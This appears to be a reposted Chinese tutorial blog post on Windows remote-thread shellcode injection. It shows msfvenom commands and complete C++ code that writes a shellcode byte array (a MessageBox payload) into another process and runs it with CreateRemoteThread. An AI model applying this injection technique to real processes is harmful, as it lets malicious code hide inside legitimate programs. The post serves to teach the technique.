【Windows系统编程】03.远线程注入ShellCode

news2025/1/1 23:11:55
  • shellcode:本质上也是一段普通的代码,只不过特殊的编程手法,可以在任意环境下,不依赖于原有的依赖库执行。

远程线程

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>

int main(){
  
  HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,19328);
  //创建在另一个进程的虚拟地址空间中运行的线程
  //跨进程创建线程
  CreateRemoteThread(hProcess,NULL,NULL,)
  
  system("pause");
  return 0;
}
  • kali中借助生成shellcode:
    1. 桌面打开终端:
      msfconsole
      
    2. 搜索payload:
      search MessageBox
      use 2
      show options
      
    3. 另外打开一个终端:
      msfvenom -p windows/messagebox TEXT=WdIg -f c
      
    4. 回车,shellcode就出来了,复制出来就行了

然后我们来继续写代码:

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>

//这里粘贴上复制出来的代码

int main(){
  	//打开进程
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 29020);

	//在指定进程的虚拟地址空间中保留、提交或更改内存区域的状态。
	//简单理解:指定进程上挖一个洞
	LPVOID lpBuffer = VirtualAllocEx(hProcess, NULL, 257, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	//跨进程写入内存
	SIZE_T dwWrittensize = 0;
	WriteProcessMemory(hProcess,
		lpBuffer,
		buf,
		257,
		&dwWrittensize
	);
	//创建远程进程
	DWORD ID;
	CreateRemoteThread(hProcess,   //指定进程句柄
		NULL,                      //安全属性
		NULL,                      //堆栈初始化大小
		(LPTHREAD_START_ROUTINE)lpBuffer,                       //函数指针,远程进程中,线程的起始地址
		NULL,                      //传递给线程函数的变量指针
		NULL,                      //创建标志,这里是立刻执行
		&ID                       //接收线程ID的指针
		);
	
  system("pause");
  return 0;
}

这里给出我写出的一个完整代码,ShellCode功能是MessageBox,显示文本为WdIg:

unsigned char buf[] =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x57\x64\x49\x67\x31\xc9\x88\x4c\x24\x04\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";


int main()
{
	//打开进程
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 12568);

	//在指定进程的虚拟地址空间中保留、提交或更改内存区域的状态。
	//简单理解:指定进程上挖一个洞
	LPVOID lpBuffer = VirtualAllocEx(hProcess, NULL, 257, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	//跨进程写入内存
	SIZE_T dwWrittensize = 0;
	WriteProcessMemory(hProcess,
		lpBuffer,
		buf,
		257,
		&dwWrittensize
	);
	//创建远程进程
	DWORD ID;
	CreateRemoteThread(hProcess,   //指定进程句柄
		NULL,                      //安全属性
		NULL,                      //堆栈初始化大小
		(LPTHREAD_START_ROUTINE)lpBuffer,                       //函数指针,远程进程中,线程的起始地址
		NULL,                      //传递给线程函数的变量指针
		NULL,                      //创建标志,这里是立刻执行
		&ID                       //接收线程ID的指针
		);
	
	system("pause");
	return 0;
}

执行效果:
注入shellcode

这里的进程ID是任务管理器上看的,大家可以创建进程快照,遍历进程快照以注入到自己想要的进程中(上一篇文章有讲到)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/880205.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

十、避开客户端控件——通过客户端传送数据

文章目录 一、通过客户端传送数据1.1 隐藏表单字段1.2 HTTP cookie1.3 URL参数1.4 Refere消息头1.5 模糊数据1.6 ASP.NET *ViewState* 由于客户端可提交任意输入&#xff0c;Web应用程序的核心安全因此受到威胁。尽管如此&#xff0c;大部分的Web应用程序仍然依靠在客户端执行各…

数组的详述(1)

1、一维数组的创建和初始化&#xff1a; 数组是一组相同类型元素的集合。 &#xff08;1)创建方式&#xff1a; type_t 是指数组的元素类型 arr_name 数组名 [const_n] 一个常量表达式&#xff0c;用来指定数组的大小 //在c99标准之前&#xff0c;数组的大小必须是常…

vscode | linux | c++ intelliense 被弃用解决方案

每日一句&#xff0c;vscode用的爽是爽&#xff0c;主要是可配置太强了。如果也很会研究&#xff0c;可以直接去咸鱼接单了 废话少说&#xff0c;直接整。 用着用着说是c intelliense被弃用&#xff0c;很多辅助功能无法使用&#xff0c;像查看定义、查看引用、函数跳转、智能提…

解决ubantu驱动掉了的问题

这里写自定义目录标题 解决ubuntu驱动掉了的问题 解决ubuntu驱动掉了的问题 首先确定是否有驱动&#xff1a; ls /usr/src | grep nvidia若有&#xff0c;则大概率是驱动版本与内核版本对应不上&#xff0c;则把内核版本切换为初始版本即可。参照&#xff1a;https://blog.cs…

《封神第一部》票房已破21亿,商朝真有大象,苏妲己可能是周文王的恩人

随着《封神第一部&#xff1a;朝歌风云》的持续大火&#xff0c;我周六也去电影院贡献了一票&#xff0c;重温中国神话经典&#xff0c;感受历史史诗的震撼&#xff0c;改编的非常棒&#xff0c;我很喜欢。 针对影片中的一些故事和疑问&#xff0c;做些总结。 1、影片中有几处镜…

仓储二代拣货标签接口

1.批量拣货更新标签信息接口 http://localhost/smartpick/associate/lightTags 代码形式&#xff1a; { url : http://localhost/smartpick/associate/lightTags, requestMethed : POST, requestParameter : { [ {"mac":"99.99.22.03","devty…

item_review-获得淘宝商品评论

一、接口参数说明&#xff1a; item_review-获得淘宝商品评论&#xff0c;点击更多API调试&#xff0c;请移步注册API账号点击获取测试key和secret 公共参数 请求地址: https://api-gw.onebound.cn/taobao/item_review 名称类型必须描述keyString是调用key&#xff08;点击获…

互联网+AI+智慧工地管理平台源码(Spring Cloud +Vue)

基于微服务JavaSpring Cloud VueUniApp MySql开发的智慧工地管理源码&#xff0c;SaaS模式。 一、智慧工地概念 智慧工地就是互联网建筑工地&#xff0c;是将互联网的理念和技术引入建筑工地&#xff0c;然后以物联网、移动互联网技术为基础&#xff0c;充分应用BIM、大数据、…

银河麒麟桌面版下使用minicom测试串口通信

1硬件和环境&#xff1a;银河麒麟桌面版的笔记本和台式机。 2软件工具&#xff1a;minicom 3硬件工具&#xff1a;串口转接线&#xff0c;使用ft232芯片的usb转rs232公头。杜邦线。这个芯片的转接线是linux免驱的。 4连接&#xff1a;笔记本usb口连接串口转接线&#xff0c;串…

骆驼祥子思维导图怎么绘制?教你这样在线制作

骆驼祥子思维导图怎么绘制&#xff1f;绘制骆驼祥子思维导图可以帮助读者更好地理解小说的主题和结构。通过思维导图的形式&#xff0c;可以清晰地展示小说中各个人物之间的关系、事件的发展以及主题的演变等等。这不仅可以帮助读者更深入地理解小说&#xff0c;还可以帮助他们…

安卓13解决链接问题

作为Android用户&#xff0c;你可能已经注意到了一个问题——Android 13不再支持PPTP协议。但请别担心&#xff0c;作为一家专业的代理供应商&#xff0c;我们将与你分享解决方案&#xff0c;让你轻松解决L2TP问题&#xff0c;享受到高水平的连接体验。本文将为你提供实用的操作…

BC117 小乐乐走台阶(附完整代码)

描述 小乐乐上课需要走n阶台阶&#xff0c;因为他腿比较长&#xff0c;所以每次可以选择走一阶或者走两阶&#xff0c;那么他一共有多少种走法&#xff1f; 输入描述 输入包含一个整数n (1 ≤ n ≤ 30) 输出描述 输出一个整数&#xff0c;即小乐乐可以走的方法数。 思路&a…

如何使VMware虚拟机的屏幕自适应窗口大小

安装VMware tool 首先安装VMware tool&#xff0c;在选项中选取安装 之后在虚拟机中会出现光盘映像&#xff0c;点击打开光盘&#xff0c;点击VmwareTools-xxxx.tar.gz压缩包&#xff0c;将vmware-tools-distribute文件夹解压在任意一个目录下 解压后&#xff0c;右键点击…

搜文本搜位置搜图片,1小时玩转阿里云 Elasticsearch

作者&#xff1a;朱杰、奚悦、黄宇 AI 和搜索的整合已成为下一代搜索引擎的发展趋势&#xff0c;技术革新的浪潮下&#xff0c;你是否想抓住搜索领域的新机会&#xff0c;增强 AI 产品力与技术竞争力&#xff1f; 想学习搜索引擎技术的你&#xff0c;是否面临这样的困惑&…

OBD接口引脚定义

汽车的OBD接口引脚定义分配如下图所示&#xff0c;OBD接口共有16个引脚&#xff08;可参考 ISO 15031-3&#xff09;。 1、引脚1,3,8,9,11,12,13 引脚1,3,8,9,11,12,13由主机厂进行分配。 2、引脚2 如果车辆中使用SAE J1850 10,4 VPW&#xff08;可变脉冲&#xff09;来提供…

【爬虫】P1 对目标网站的背景调研(robot.txt,advanced_search,builtwith,whois)

对目标网站的背景调研 检查 robot.txt估算网站大小识别网站所用技术寻找网站的所有者 检查 robot.txt 目的&#xff1a; 大多数的网站都会包含 robot.txt 文件。该文件用于指出使用爬虫爬取网站时有哪些限制。而我们通过读 robot.txt 文件&#xff0c;亦可以最小化爬虫被封禁的…

职场中常用的项目管理软件盘点:了解这些选择

随着工作的深入&#xff0c;就会发现管理类软件在职场中真的很重要&#xff0c;比如项目管理软件。一个好用的项目管理软件能够让工作达到事半功倍的效果&#xff0c;就比如Zoho Projects项目管理软件&#xff0c;它不仅可以将项目内容进行细化&#xff0c;还有更多有利于团队协…

浅谈统一权限管理服务的设计与开发

作者 | 天地练心 导读 本文详细探讨了统一权限管理服务&#xff08;MPS&#xff09;的设计与开发&#xff0c;针对企业内部多平台权限管理混乱的问题&#xff0c;提出了一套综合RBAC、ACL、DAC权限模型的解决方案。文章从需求分析、技术选型、功能设计等方面全面介绍了MPS的构建…

提高考试成绩的有效考试培训系统

近年来&#xff0c;随着考试竞争的日益激烈&#xff0c;对于学生来说&#xff0c;提高考试成绩已成为一项重要的任务。为了帮助学生有效提升考试成绩&#xff0c;我们开发了一套全面而详细的有效的考试培训系统。 该培训系统作为一种全新的教学方法&#xff0c;力求通过提供多…

针对Android项目蓝牙如何学习

一、概述(Overview) 蓝牙是一种专有的开放式无线技术标准,用于在固定和移动设备之间进行短距离数据交换(使用2400–2480 MHz ISM波段的短波长无线电传输),从而创建具有高度安全性的个人局域网(PANs)。由电信供应商爱立信(telecoms vendor Ericsson)于1994年创建,[1…